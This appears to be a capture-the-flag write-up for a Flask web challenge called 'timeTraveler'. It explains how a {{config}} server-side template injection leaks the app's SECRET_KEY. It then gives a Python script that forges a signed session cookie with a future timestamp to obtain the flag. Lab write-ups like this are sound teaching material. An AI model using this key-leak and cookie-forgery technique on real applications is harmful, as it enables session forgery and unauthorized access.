
Category: 
web 
 

Name: 
timeTraveler 

 

Message: 

win the game and get flag. 

 

Instructions: 

When you access the web application for this challenge, you will be presented with a simple 
calculation formula. 

 

When you submit a correct calculation result, the message "too late" will be displayed. 

 

Read the distributed source code to understand the terms. 



 
When the “time” stored in the session is in the future than the time the POST request was 
received, flag.txt will be displayed. Flask’s session management is done by using a 
Base64-encoded Cookie value, and tampering requires a secret_key. 

 
 

By looking at the part of source code where it sets the secret_key, you can see that when the 
application starts, the secret_key is generated from a random string. 
 

 

 
Also, this application has a Server Side Template Injection (SSTI) vulnerability, so this part 
can be utilized for the attack. 

 

Only 10 characters are allowed, but {{config}} fits within the limit. 



 
The obtained secret_key can be used for tampering the cookie and gain access. Below is a 
sample script that can obtains the secret_key and gains access using the tampered cookie. 
 
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): 
    def get_signing_serializer(self, secret_key): 
        signer_kwargs = { 
            'key_derivation': self.key_derivation, 
            'digest_method': self.digest_method 
        } 
        return URLSafeTimedSerializer( 
            secret_key, 
            salt=self.salt, 
            serializer=self.serializer, 
            signer_kwargs=signer_kwargs 
        ) 
 
 
class FlaskSessionCookieManager: 
    @classmethod 
    def encode(cls, secret_key, session): 
        sscsi = SimpleSecureCookieSessionInterface() 
        signingSerializer = sscsi.get_signing_serializer(secret_key) 
        return signingSerializer.dumps(session) 
 
 
if __name__ == '__main__': 
 
    # get the secret_key 
    data = {"ans":"{{config}}"} 
    r = requests.post(url,data=data,proxies=proxies) 
    secret_key = r.text.split('SECRET_KEY&#39;: &#39;')[1].split('&')[0] 
 
    #tamper cookie 
    ans = 0 
    time = 9999999999 
    session = { 
        "ans":ans, 
        "time":time 
    } 
    cookie_value = FlaskSessionCookieManager.encode(secret_key, session) 
 



    #post the answer 
    cookie = "session=" + cookie_value 
    header = {"Cookie" : cookie} 
    form_data = {"ans": ans} 
    r = requests.post(url,headers=header,data=form_data,proxies=proxies) 
    print(r.text) 

 
 


